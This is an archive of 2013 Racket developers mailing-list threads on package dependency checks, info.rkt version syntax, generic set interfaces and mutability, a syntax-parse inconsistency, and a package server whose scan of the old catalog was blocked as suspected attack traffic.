 I'm guessing only the @deftech terms defined in the guide are accessible?  
 This
 is not a big deal, I just wanted to be sure I wasn't doing something
 incorrectly.

 Thanks.

 David

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] raco pkg dependency checks and exit code

2013-10-03 Thread Jay McCarthy
On Wed, Oct 2, 2013 at 3:54 PM, Asumu Takikawa as...@ccs.neu.edu wrote:
 Hi all,

 I noticed that if you don't specify any dependencies for a package, then
 `raco` will warn you about that.  However, the exit code is 0 and it's
 not an error.

 Comparatively, if you supply a dependencies field of `empty`, then you
 will get a bunch of errors about undeclared dependencies and the exit
 code is 1.

 Is there a reason why these two cases are treated differently?

In the first case, you are forgetting to do it and we warn to tell you
what you should put. In the second case, you put them in but are wrong
and should be CAUGHT and PUNISHED. I think that's the logic behind it.

Jay


 Cheers,
 Asumu
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] info.rkt `deps` and new #:version keyword: Backward compatibility?

2013-10-03 Thread Jay McCarthy
On Thu, Oct 3, 2013 at 7:40 AM, Greg Hendershott
greghendersh...@gmail.com wrote:
 After I gave my Frog talk at RacketCon, in which I said a goal of Frog
 was to make it easy to install, J. Ian Johnson tried to install it...
 but couldn't.

 As best I understand, it's because he was using Racket from HEAD, and
 at some point recently the `deps` expression for info.rkt changed for
 the case where you specify a version. A case which I've been using
 (recent versions of Frog need a = version of Markdown).

 For 5.3.6 and (until fairly recently in HEAD) it was:

 # frog/info.rkt
 #lang setup/infotab
 (define version 0.7)
 (define collection 'multi)
 (define deps '((markdown 0.5)
rackjure))

 But it recently changed to require a #:version keyword, therefore it
 would have to be IIUC this for 5.3.900.???+:

 # frog/info.rkt
 #lang setup/infotab
 (define version 0.7)
 (define collection 'multi)
 (define deps '((markdown #:version 0.5)
rackjure))

 But that wouldn't be compatible with 5.3.6 IIUC.

 As a result I would have to maintain two different packages, one for
 5.3.5 and 5.3.6, and another for 5.3.900.???+ and greater (yuck).

 Until now, even the major change to single-collection defaults was
 done in a way that preserved backward compatibility (well, after
 taking action to add `(define collection 'multi)`, but after taking
 such action the same info.rkt works for old and new).

 1. Am I understanding it correctly?  (Not a rhetorical question; I
 have a lot of IIUCs above.)

I do not think so, the old format is supposed to work (see lines 192
to 195 of pkg/lib) and described as a valid, but deprecated use in the
current documentation.

 2. If so, is it really the intent to break backward compatibility?

The concept of backwards compatibility does not apply to beta software
in my opinion. The next release will be the first release where the
package system is not beta.

 3. Instead couldn't the #version keyword simply be optional?

See above.

Jay

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] package system, minimal builds and more

2013-10-02 Thread Jay McCarthy
On Wed, Oct 2, 2013 at 8:39 AM, Sam Tobin-Hochstadt
sa...@cs.indiana.edu wrote:
 * redownload after fail
 the package manager seems to download every packet again after a failed
 install or user interruption. Would it be worth to reuse the once downloaded
 zips if the checksum is the same (similar to the behavior of apt).

 I believe the package manager knows how to do this, but it doesn't
 seem to be doing it here, even though there's checksum information in
 the catalog files. Jay, do you know what's going on here?

I think I need more details.

If you have pkg A installed, then it should only download a small
checksum to see if A needs to be updated. If this is broken, then it
is an error.

If you do NOT have pkg A installed, then it will download the full
file. If that install fails, then 'raco pkg' cleans up after itself
and deletes the things it downloaded. Apt does not do this and saves
everything in a temporary directory that must be manually cleaned. I
did not implement that because it feels wrong to run a command like
'raco pkg clean-old-tmp-files' or something. But it sounds like you
want that?

Jay

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Generics updates

2013-10-02 Thread Jay McCarthy
No. Mutable sets would implement gen:set and then just have a few more
methods in the gen:mset interface. Structs can implement any number of
generics.

Jay

On Wed, Oct 2, 2013 at 1:31 PM, J. Ian Johnson i...@ccs.neu.edu wrote:
 This means I can't interchange between mutable and immutable sets for my 
 functions that only need to read generic sets, unless we further subdivide 
 and have gen:set-query gen:set-constructor gen:set-mconstruct.

 -Ian
 - Original Message -
 From: Jay McCarthy jay.mccar...@gmail.com
 To: Carl Eastlund c...@ccs.neu.edu
 Cc: Racket Developers dev@racket-lang.org
 Sent: Wednesday, October 2, 2013 3:23:07 PM GMT -05:00 US/Canada Eastern
 Subject: Re: [racket-dev] Generics updates

 Regarding a point from RacketCon, I don't like that gen:set includes
 functions like set-add! and set-remove!. I think that sets with
 mutations are subclass of get:set and we should have a separate
 gen:mset (or something) interface for mutable versions.

 I dislike that an obvious implementation of sets, hash tables, are not
 sets to gen:set, because there are operations that cannot be performed
 on them.

 I think that X implements generic G should imply All functions of G
 work on X. But this is not the case with gen:set and hasheq sets, for
 instance.

 Jay


 On Tue, Jul 23, 2013 at 9:37 AM, Carl Eastlund c...@ccs.neu.edu wrote:
 My work on adding gen:set, and related changes to define-generics and
 gen:dict, is ready for review and (hopefully) to push to the master branch.
 The branch moved in the process of cleaning things up, it's now at:

   https://github.com/carl-eastlund/racket/tree/generics-from-scratch

 (The from scratch just refers to the process of rebuilding the git
 history, I didn't go out of my way to rewrite anything in the code base from
 scratch, although in some places a lot of code did move around.)

 What's new in the branch:

 - Generics now support a few new options
   - #:fallbacks specifies fallback method implementations for instances with
 no implementation
   - #:fast-defaults specifies instances on a fast path, useful for
 built-in types
   - #:defined-predicate gives a more intuitive and efficient interface than
 #:defined-table
   - #:derive-property allows generics to piggy-back on existing struct
 properties

 - Sets are now a generic datatype through gen:set
   - lists are now sets
   - the built-in set types are now documented as hash sets
   - there are mutable and weak hash sets
   - you can define new set types quickly with define-custom-set-types
   - most set operations are now methods with fallbacks
   - sets now support -copy and -clear operations, plus mutating [!] versions
 of operations

 - Dictionaries have a few changes
   - new macro define-custom-hash-types [*]
   - most dict operations are now methods with fallbacks
   - dicts now support -copy, -clear, -clear!, and -empty? operations

 I've run some benchmarks and performance of the various generic operations
 are comparable to the current HEAD, so there should be no major performance
 changes with this patch.

 [*] I've added define-custom-hash-types and define-custom-set-types rather
 than just adding make-custom-set akin to make-custom-hash because
 make-custom-hash is hard to use.  The documented behavior -- that any custom
 hash is equal to any other created with the same bindings and predicates /
 hash functions -- was never true and can be expensive or at least tricky to
 implement.  It seemed more sensible to just remove the erroneous
 documentation on make-custom-hash, and add the definition form to create
 constructors for new, explicitly-compatible dict and set types.  Both
 definition forms bind predicates and constructors for new (set or dict)
 types with immutable, mutable, and weak variants that inter-operate.

 If there are no serious issues brought up in the next day or two, I'll push
 it to the development branch, since our current release process isn't
 following HEAD.

 Carl Eastlund

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev




 --
 Jay McCarthy j...@cs.byu.edu
 Assistant Professor / Brigham Young University
 http://faculty.cs.byu.edu/~jay

 The glory of God is Intelligence - DC 93
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Generics updates

2013-10-02 Thread Jay McCarthy
Even if we were to remove set-add! from gen:set and not great gen:mset
then that would not be a vaild property. Generics are a lower bound on
the interface, not an upper bound, so there could be other functions
on the data structure that implement mutation. For instance, a gen:set
could be made for an external resource that was set-like.

I think what you want is something like gen:fset that has no methods,
but is used for set authors to tag their set as having this property
for the benefit of consumers (which cannot be enforced.) Your library
would then consume fsets and not sets.

Jay


On Wed, Oct 2, 2013 at 2:09 PM, Robby Findler
ro...@eecs.northwestern.edu wrote:
 If we do go this way, we should be careful about the subtyping relationship
 since we want a predicate that means will not be mutated and I can rely on
 that to reason about my library's behavior and if mutable sets are a
 sub-thing of immutable ones, we might lose that (depending on how things are
 set up).

 Robby


 On Wed, Oct 2, 2013 at 2:57 PM, Jay McCarthy jay.mccar...@gmail.com wrote:

 No. Mutable sets would implement gen:set and then just have a few more
 methods in the gen:mset interface. Structs can implement any number of
 generics.

 Jay

 On Wed, Oct 2, 2013 at 1:31 PM, J. Ian Johnson i...@ccs.neu.edu wrote:
  This means I can't interchange between mutable and immutable sets for my
  functions that only need to read generic sets, unless we further subdivide
  and have gen:set-query gen:set-constructor gen:set-mconstruct.
 
  -Ian
  - Original Message -
  From: Jay McCarthy jay.mccar...@gmail.com
  To: Carl Eastlund c...@ccs.neu.edu
  Cc: Racket Developers dev@racket-lang.org
  Sent: Wednesday, October 2, 2013 3:23:07 PM GMT -05:00 US/Canada Eastern
  Subject: Re: [racket-dev] Generics updates
 
  Regarding a point from RacketCon, I don't like that gen:set includes
  functions like set-add! and set-remove!. I think that sets with
  mutations are subclass of get:set and we should have a separate
  gen:mset (or something) interface for mutable versions.
 
  I dislike that an obvious implementation of sets, hash tables, are not
  sets to gen:set, because there are operations that cannot be performed
  on them.
 
  I think that X implements generic G should imply All functions of G
  work on X. But this is not the case with gen:set and hasheq sets, for
  instance.
 
  Jay
 
 
  On Tue, Jul 23, 2013 at 9:37 AM, Carl Eastlund c...@ccs.neu.edu wrote:
  My work on adding gen:set, and related changes to define-generics and
  gen:dict, is ready for review and (hopefully) to push to the master
  branch.
  The branch moved in the process of cleaning things up, it's now at:
 
https://github.com/carl-eastlund/racket/tree/generics-from-scratch
 
  (The from scratch just refers to the process of rebuilding the git
  history, I didn't go out of my way to rewrite anything in the code base
  from
  scratch, although in some places a lot of code did move around.)
 
  What's new in the branch:
 
  - Generics now support a few new options
- #:fallbacks specifies fallback method implementations for instances
  with
  no implementation
- #:fast-defaults specifies instances on a fast path, useful for
  built-in types
- #:defined-predicate gives a more intuitive and efficient interface
  than
  #:defined-table
- #:derive-property allows generics to piggy-back on existing struct
  properties
 
  - Sets are now a generic datatype through gen:set
- lists are now sets
- the built-in set types are now documented as hash sets
- there are mutable and weak hash sets
- you can define new set types quickly with define-custom-set-types
- most set operations are now methods with fallbacks
- sets now support -copy and -clear operations, plus mutating [!]
  versions
  of operations
 
  - Dictionaries have a few changes
- new macro define-custom-hash-types [*]
- most dict operations are now methods with fallbacks
- dicts now support -copy, -clear, -clear!, and -empty? operations
 
  I've run some benchmarks and performance of the various generic
  operations
  are comparable to the current HEAD, so there should be no major
  performance
  changes with this patch.
 
  [*] I've added define-custom-hash-types and define-custom-set-types
  rather
  than just adding make-custom-set akin to make-custom-hash because
  make-custom-hash is hard to use.  The documented behavior -- that any
  custom
  hash is equal to any other created with the same bindings and
  predicates /
  hash functions -- was never true and can be expensive or at least
  tricky to
  implement.  It seemed more sensible to just remove the erroneous
  documentation on make-custom-hash, and add the definition form to
  create
  constructors for new, explicitly-compatible dict and set types.  Both
  definition forms bind predicates and constructors for new (set or dict)
  types with immutable, mutable, and weak variants that inter-operate

Re: [racket-dev] Generics updates

2013-10-02 Thread Jay McCarthy
I agree. I think the important thing with generics is unlike mpair?
the set? predicate only necessarily implies that the methods are
available (which is the source of my original complaint). We need to
design the meaning of predicates just like we design the interface. I
think that if we want mset to be a set then set? cannot imply
immutable? but since that is a valuable property, it is worth
designing a predicate that gives it, if only as a human thing.

Jay

On Wed, Oct 2, 2013 at 2:29 PM, Robby Findler
ro...@eecs.northwestern.edu wrote:
 That sounds right.

 But just in case there is any confusion on the larger point: predicates as
 way we check properties to ensure good properties of our abstractions is one
 of the important things that we have mostly gotten right in Racket.
 Chaperones, separate pair? and mpair? predicates, and presumably lots of
 other stuff are the way they are for this kind of reason.

 Robby


 On Wed, Oct 2, 2013 at 3:21 PM, Jay McCarthy jay.mccar...@gmail.com wrote:

 Even if we were to remove set-add! from gen:set and not great gen:mset
 then that would not be a vaild property. Generics are a lower bound on
 the interface, not an upper bound, so there could be other functions
 on the data structure that implement mutation. For instance, a gen:set
 could be made for an external resource that was set-like.

 I think what you want is something like gen:fset that has no methods,
 but is used for set authors to tag their set as having this property
 for the benefit of consumers (which cannot be enforced.) Your library
 would then consume fsets and not sets.

 Jay


 On Wed, Oct 2, 2013 at 2:09 PM, Robby Findler
 ro...@eecs.northwestern.edu wrote:
  If we do go this way, we should be careful about the subtyping
  relationship
  since we want a predicate that means will not be mutated and I can rely
  on
  that to reason about my library's behavior and if mutable sets are a
  sub-thing of immutable ones, we might lose that (depending on how things
  are
  set up).
 
  Robby
 
 
  On Wed, Oct 2, 2013 at 2:57 PM, Jay McCarthy jay.mccar...@gmail.com
  wrote:
 
  No. Mutable sets would implement gen:set and then just have a few more
  methods in the gen:mset interface. Structs can implement any number of
  generics.
 
  Jay
 
  On Wed, Oct 2, 2013 at 1:31 PM, J. Ian Johnson i...@ccs.neu.edu
  wrote:
   This means I can't interchange between mutable and immutable sets for
   my
   functions that only need to read generic sets, unless we further
   subdivide
   and have gen:set-query gen:set-constructor gen:set-mconstruct.
  
   -Ian
   - Original Message -
   From: Jay McCarthy jay.mccar...@gmail.com
   To: Carl Eastlund c...@ccs.neu.edu
   Cc: Racket Developers dev@racket-lang.org
   Sent: Wednesday, October 2, 2013 3:23:07 PM GMT -05:00 US/Canada
   Eastern
   Subject: Re: [racket-dev] Generics updates
  
   Regarding a point from RacketCon, I don't like that gen:set includes
   functions like set-add! and set-remove!. I think that sets with
   mutations are subclass of get:set and we should have a separate
   gen:mset (or something) interface for mutable versions.
  
   I dislike that an obvious implementation of sets, hash tables, are
   not
   sets to gen:set, because there are operations that cannot be
   performed
   on them.
  
   I think that X implements generic G should imply All functions of
   G
   work on X. But this is not the case with gen:set and hasheq sets,
   for
   instance.
  
   Jay
  
  
   On Tue, Jul 23, 2013 at 9:37 AM, Carl Eastlund c...@ccs.neu.edu
   wrote:
   My work on adding gen:set, and related changes to define-generics
   and
   gen:dict, is ready for review and (hopefully) to push to the master
   branch.
   The branch moved in the process of cleaning things up, it's now at:
  
 https://github.com/carl-eastlund/racket/tree/generics-from-scratch
  
   (The from scratch just refers to the process of rebuilding the git
   history, I didn't go out of my way to rewrite anything in the code
   base
   from
   scratch, although in some places a lot of code did move around.)
  
   What's new in the branch:
  
   - Generics now support a few new options
 - #:fallbacks specifies fallback method implementations for
   instances
   with
   no implementation
 - #:fast-defaults specifies instances on a fast path, useful for
   built-in types
 - #:defined-predicate gives a more intuitive and efficient
   interface
   than
   #:defined-table
 - #:derive-property allows generics to piggy-back on existing
   struct
   properties
  
   - Sets are now a generic datatype through gen:set
 - lists are now sets
 - the built-in set types are now documented as hash sets
 - there are mutable and weak hash sets
 - you can define new set types quickly with
   define-custom-set-types
 - most set operations are now methods with fallbacks
 - sets now support -copy and -clear operations, plus mutating [!]
   versions
   of operations

Re: [racket-dev] Generics updates

2013-10-02 Thread Jay McCarthy
This is a good message, but I have one quibble.

I think it makes sense to separate data immutability and logical
immutability. For instance, I may have a library for querying REST
services where a server object is represented by an immutable
string. The string is immutable? but the service behind it is not. I
don't want the happenstance of which data was used to construct the
object to give the wrong idea of its mutability.

Jay

On Wed, Oct 2, 2013 at 2:41 PM, Sam Tobin-Hochstadt
sa...@cs.indiana.edu wrote:
 On Wed, Oct 2, 2013 at 4:29 PM, Robby Findler
 ro...@eecs.northwestern.edu wrote:
 That sounds right.

 But just in case there is any confusion on the larger point: predicates as
 way we check properties to ensure good properties of our abstractions is one
 of the important things that we have mostly gotten right in Racket.
 Chaperones, separate pair? and mpair? predicates, and presumably lots of
 other stuff are the way they are for this kind of reason.

 Unfortunately, this is only half-true, I think.  In particular, a very
 large number of our data structures violate this rule: vectors,
 strings, byte strings boxes, hash tables, dictionaries, sequences, and
 so on, all provide the same operations on both mutable and immutable
 variants.  This is also true in general of structs -- a substruct can
 be mutable when the superstruct is immutable.

 Ultimately, for the purpose of consistency, I think we should try to
 decide what the 'Rackety' style for this is.  Should we follow the
 lead of hash tables, where `immutable?` is needed to determine
 anything?  Or should we follow the lead of pairs, where there's a
 whole separate type?  And how should this interact with subtyping, as
 in this discussion?

 Personally, I think I prefer separate unrelated data structures, with
 a generic interface [1].  Maybe this means we should make `immutable?`
 into a generic.

 [1] I think that part of the reason some of these are conflated is
 lack of generic operations.

 Sam


 Robby


 On Wed, Oct 2, 2013 at 3:21 PM, Jay McCarthy jay.mccar...@gmail.com wrote:

 Even if we were to remove set-add! from gen:set and not great gen:mset
 then that would not be a vaild property. Generics are a lower bound on
 the interface, not an upper bound, so there could be other functions
 on the data structure that implement mutation. For instance, a gen:set
 could be made for an external resource that was set-like.

 I think what you want is something like gen:fset that has no methods,
 but is used for set authors to tag their set as having this property
 for the benefit of consumers (which cannot be enforced.) Your library
 would then consume fsets and not sets.

 Jay


 On Wed, Oct 2, 2013 at 2:09 PM, Robby Findler
 ro...@eecs.northwestern.edu wrote:
  If we do go this way, we should be careful about the subtyping
  relationship
  since we want a predicate that means will not be mutated and I can rely
  on
  that to reason about my library's behavior and if mutable sets are a
  sub-thing of immutable ones, we might lose that (depending on how things
  are
  set up).
 
  Robby
 
 
  On Wed, Oct 2, 2013 at 2:57 PM, Jay McCarthy jay.mccar...@gmail.com
  wrote:
 
  No. Mutable sets would implement gen:set and then just have a few more
  methods in the gen:mset interface. Structs can implement any number of
  generics.
 
  Jay
 
  On Wed, Oct 2, 2013 at 1:31 PM, J. Ian Johnson i...@ccs.neu.edu
  wrote:
   This means I can't interchange between mutable and immutable sets for
   my
   functions that only need to read generic sets, unless we further
   subdivide
   and have gen:set-query gen:set-constructor gen:set-mconstruct.
  
   -Ian
   - Original Message -
   From: Jay McCarthy jay.mccar...@gmail.com
   To: Carl Eastlund c...@ccs.neu.edu
   Cc: Racket Developers dev@racket-lang.org
   Sent: Wednesday, October 2, 2013 3:23:07 PM GMT -05:00 US/Canada
   Eastern
   Subject: Re: [racket-dev] Generics updates
  
   Regarding a point from RacketCon, I don't like that gen:set includes
   functions like set-add! and set-remove!. I think that sets with
   mutations are subclass of get:set and we should have a separate
   gen:mset (or something) interface for mutable versions.
  
   I dislike that an obvious implementation of sets, hash tables, are
   not
   sets to gen:set, because there are operations that cannot be
   performed
   on them.
  
   I think that X implements generic G should imply All functions of
   G
   work on X. But this is not the case with gen:set and hasheq sets,
   for
   instance.
  
   Jay
  
  
   On Tue, Jul 23, 2013 at 9:37 AM, Carl Eastlund c...@ccs.neu.edu
   wrote:
   My work on adding gen:set, and related changes to define-generics
   and
   gen:dict, is ready for review and (hopefully) to push to the master
   branch.
   The branch moved in the process of cleaning things up, it's now at:
  
 https://github.com/carl-eastlund/racket/tree/generics-from-scratch
  
   (The from scratch just refers

Re: [racket-dev] Generics updates

2013-10-02 Thread Jay McCarthy
Totally agree.

On Wed, Oct 2, 2013 at 2:53 PM, Sam Tobin-Hochstadt
sa...@cs.indiana.edu wrote:
 On Wed, Oct 2, 2013 at 4:44 PM, Jay McCarthy jay.mccar...@gmail.com wrote:
 This is a good message, but I have one quibble.

 I think it makes sense to separate data immutability and logical
 immutability. For instance, I may have a library for querying REST
 services where a server object is represented by an immutable
 string. The string is immutable? but the service behind it is not. I
 don't want the happenstance of which data was used to construct the
 object to give the wrong idea of its mutability.

 I think what you're saying here is that part of what we want from
 immutability is knowing that doing the same thing again on the
 immutable data won't change the behavior.  But of course, this is a
 property of _both_ the data and the operation -- `file-bytes` takes
 immutable input, but running it multiple times doesn't guarantee
 anything. I'm not sure where this leaves us in terms of API design,
 though.  In a capability-based language, or in a language like Clean,
 `file-bytes` might take the filesystem as input, but that's not very
 Rackety. :)

 My inclination is that a dictionary implemented with immutable data
 structures but representing the results of `getenv` shouldn't be
 `immutable?`, whereas maybe one with mutable insides but a functional
 interface should be, but that really depends on what we're trying to
 say.

 Sam


 Jay

 On Wed, Oct 2, 2013 at 2:41 PM, Sam Tobin-Hochstadt
 sa...@cs.indiana.edu wrote:
 On Wed, Oct 2, 2013 at 4:29 PM, Robby Findler
 ro...@eecs.northwestern.edu wrote:
 That sounds right.

 But just in case there is any confusion on the larger point: predicates as
 way we check properties to ensure good properties of our abstractions is 
 one
 of the important things that we have mostly gotten right in Racket.
 Chaperones, separate pair? and mpair? predicates, and presumably lots of
 other stuff are the way they are for this kind of reason.

 Unfortunately, this is only half-true, I think.  In particular, a very
 large number of our data structures violate this rule: vectors,
 strings, byte strings boxes, hash tables, dictionaries, sequences, and
 so on, all provide the same operations on both mutable and immutable
 variants.  This is also true in general of structs -- a substruct can
 be mutable when the superstruct is immutable.

 Ultimately, for the purpose of consistency, I think we should try to
 decide what the 'Rackety' style for this is.  Should we follow the
 lead of hash tables, where `immutable?` is needed to determine
 anything?  Or should we follow the lead of pairs, where there's a
 whole separate type?  And how should this interact with subtyping, as
 in this discussion?

 Personally, I think I prefer separate unrelated data structures, with
 a generic interface [1].  Maybe this means we should make `immutable?`
 into a generic.

 [1] I think that part of the reason some of these are conflated is
 lack of generic operations.

 Sam


 Robby


 On Wed, Oct 2, 2013 at 3:21 PM, Jay McCarthy jay.mccar...@gmail.com 
 wrote:

 Even if we were to remove set-add! from gen:set and not great gen:mset
 then that would not be a vaild property. Generics are a lower bound on
 the interface, not an upper bound, so there could be other functions
 on the data structure that implement mutation. For instance, a gen:set
 could be made for an external resource that was set-like.

 I think what you want is something like gen:fset that has no methods,
 but is used for set authors to tag their set as having this property
 for the benefit of consumers (which cannot be enforced.) Your library
 would then consume fsets and not sets.

 Jay


 On Wed, Oct 2, 2013 at 2:09 PM, Robby Findler
 ro...@eecs.northwestern.edu wrote:
  If we do go this way, we should be careful about the subtyping
  relationship
  since we want a predicate that means will not be mutated and I can rely
  on
  that to reason about my library's behavior and if mutable sets are a
  sub-thing of immutable ones, we might lose that (depending on how things
  are
  set up).
 
  Robby
 
 
  On Wed, Oct 2, 2013 at 2:57 PM, Jay McCarthy jay.mccar...@gmail.com
  wrote:
 
  No. Mutable sets would implement gen:set and then just have a few more
  methods in the gen:mset interface. Structs can implement any number of
  generics.
 
  Jay
 
  On Wed, Oct 2, 2013 at 1:31 PM, J. Ian Johnson i...@ccs.neu.edu
  wrote:
   This means I can't interchange between mutable and immutable sets for
   my
   functions that only need to read generic sets, unless we further
   subdivide
   and have gen:set-query gen:set-constructor gen:set-mconstruct.
  
   -Ian
   - Original Message -
   From: Jay McCarthy jay.mccar...@gmail.com
   To: Carl Eastlund c...@ccs.neu.edu
   Cc: Racket Developers dev@racket-lang.org
   Sent: Wednesday, October 2, 2013 3:23:07 PM GMT -05:00 US/Canada
   Eastern
   Subject: Re: [racket-dev] Generics updates

Re: [racket-dev] looks like pkg.racket-lang.org is hanging after making the connection again.

2013-09-30 Thread Jay McCarthy
Thanks John. In the future, this means that something is broken and
the machine needs to be kicked. I normally do it and Matthew sometimes
does. But we were both in an airplane this morning. There's no need to
try to debug when it fails, I get notified very quickly and respond
ASAP.

Jay

On Mon, Sep 30, 2013 at 10:58 AM, John Clements
cleme...@brinckerhoff.org wrote:
 I'm once again seeing pkg.racket-lang.org hanging after making the 
 connection. Here's the transcript:

 curl -v --insecure 'https://pkg.racket-lang.org/'
 * About to connect() to pkg.racket-lang.org port 443 (#0)
 *   Trying 128.187.105.226...
 * connected
 * Connected to pkg.racket-lang.org (128.187.105.226) port 443 (#0)
 * successfully set certificate verify locations:
 *   CAfile: /opt/local/share/curl/curl-ca-bundle.crt
   CApath: none
 * SSLv3, TLS handshake, Client hello (1):
 * SSLv3, TLS handshake, Server hello (2):
 * SSLv3, TLS handshake, CERT (11):
 * SSLv3, TLS handshake, Server key exchange (12):
 * SSLv3, TLS handshake, Server finished (14):
 * SSLv3, TLS handshake, Client key exchange (16):
 * SSLv3, TLS change cipher, Client hello (1):
 * SSLv3, TLS handshake, Finished (20):
 * SSLv3, TLS change cipher, Client hello (1):
 * SSLv3, TLS handshake, Finished (20):
 * SSL connection using DHE-RSA-AES256-SHA
 * Server certificate:
 *subject: description=OgMQW8ooep0z88Ml; C=US; CN=pkg.racket-lang.org; 
 emailAddress=hostmas...@racket-lang.org
 *start date: 2013-01-22 05:29:13 GMT
 *expire date: 2014-01-23 10:12:52 GMT
 *subjectAltName: pkg.racket-lang.org matched
 *issuer: C=IL; O=StartCom Ltd.; OU=Secure Digital Certificate 
 Signing; CN=StartCom Class 1 Primary Intermediate Server CA
 *SSL certificate verify result: unable to get local issuer 
 certificate (20), continuing anyway.
 GET / HTTP/1.1
 User-Agent: curl/7.25.0 (x86_64-apple-darwin11.3.0) libcurl/7.25.0 
 OpenSSL/1.0.1e zlib/1.2.8 libidn/1.22
 Host: pkg.racket-lang.org
 Accept: */*



 ... and then it just waits at this point, until I give up.

 John




-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


[racket-dev] with-syntax and #:with are not compatible

2013-09-30 Thread Jay McCarthy
The following program errors:

#lang racket/base
(require (for-syntax racket/base
 syntax/parse))

(define-syntax (a1 stx)
  (syntax-parse stx
[(_ b)
 (with-syntax ([x 5])
   #'(+ b x))]))

(a1 7)

(define-syntax (a2 stx)
  (syntax-parse stx
[(_ b)
 #:with x 5
 #'(+ b x)]))

(a2 7)

The cause is that with-syntax has the following behavior:

 if any individual stx-expr produces a non-syntax object, then it is
converted to one using datum-syntax and the lexical context and
source location of the individual stx-expr.

meaning that inside of with-syntax there is something like (datum-syntax #'5 5)

In contrast, #:with does not document what it does in this situation,
merely that

If the value of stx-expr is not a syntax object, it is implicitly
converted to a syntax object.

If we look at the implementation, L182 of syntax/parse/private/residual we see:

(datum-syntax #f x #f)

However, I do not believe it is enough to change this too something like

(datum-syntax x x #f)

Because calls such as L684 in syntax/parse/private/parse do not bind x
to the user's code, but to something from the implementation of syntax
parse.

I believe this inconsistency between #:with and with-syntax is an
error and should be fixed, but I do not feel that I understand all the
ways to flow to this code, so I implore Ryan to change it.

Jay

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Pinging BYU people!! (was: DOS attack on planet?)

2013-09-22 Thread Jay McCarthy
Next time, feel free to follow the directions on
internal.racket-lang.org. Now that you've turn off its access, rather
than just logging in and killing it, I can't test and see what the
underlying problem was. Let me know when you have turn traffic back
on.

Jay

On Sun, Sep 22, 2013 at 3:26 PM, Eli Barzilay e...@barzilay.org wrote:
 (Note that instead of the apache rule I now switched to a firewall
 rule, so it won't even get 403 responses now.)


 40 minutes ago, Eli Barzilay wrote:
 Update: bringing it down for a few minutes didn't help, and the
 offending process continues its merciless traffic.  I've added a
 temporary rule that effectively blacklists planet access from that IP
 address.  (Apologies in case that's a shared machine.)  All I see now,
 are failed attempts to get /servlets/pkg-info.ss (which are answered
 with a 403 to that IP).

 Can someone at BYU look into this?

 --
   ((lambda (x) (x x)) (lambda (x) (x x)))  Eli Barzilay:
 http://barzilay.org/   Maze is Life!
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Pinging BYU people!! (was: DOS attack on planet?)

2013-09-22 Thread Jay McCarthy
On Sun, Sep 22, 2013 at 5:31 PM, Eli Barzilay e...@barzilay.org wrote:
 50 minutes ago, Jay McCarthy wrote:
 Next time, feel free to follow the directions on
 internal.racket-lang.org.

 I have no practical way to know whether it's actually one of your
 machines.  (I did check that it's not an IP that is in our DNS.)


 Now that you've turn off its access, rather than just logging in and
 killing it,

 Nor do I know what it is that should be killed.  (And I will
 certainly not going to ssh into your account and sniff around.)

In retrospect, I guess it's not so obvious that the package server
contacts the old server regularly to build the compatibility version
packages.

 I can't test and see what the underlying problem was. Let me know
 when you have turn traffic back on.

 It's back on now.

Thanks... it looks like I'm still getting 403s though.

Jay

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Pinging BYU people!! (was: DOS attack on planet?)

2013-09-22 Thread Jay McCarthy
On Sun, Sep 22, 2013 at 6:53 PM, Eli Barzilay e...@barzilay.org wrote:
 A few minutes ago, Jay McCarthy wrote:

 In retrospect, I guess it's not so obvious that the package server
 contacts the old server regularly to build the compatibility version
 packages.

 Is this the package server??  The IP I have for that is
 128.187.105.226, which is different from the IP that caused the
 traffic.  This is why I couldn't guess what causes the traffic, and
 guessed some rogue experiment in indexing on some test machine.

 In any case, if it is the package server through some other machine,
 then it's best to change it so it comes from the actual server.

I don't know what's going on with that. It's in a VM, so maybe
something is fishy when traffic leaves it versus when it comes to it?

  It's back on now.

 Thanks... it looks like I'm still getting 403s though.

 Ah, sorry -- I forgot to remove the apache rule too.  Should be
 working now.

Yes, thanks.

 Also, since it's scanning the planet packages (at least looks like
 that), and those really don't change that often, then it'll be much
 better to do this scan much more infrequently -- like once every hour
 or so rather than once every two seconds...

It is supposed to do it weekly. I just turned it back on and did not
get an error, so I'm not sure what the problem was. (The 403 errors
totally filled the log, so I couldn't tell what the problem was
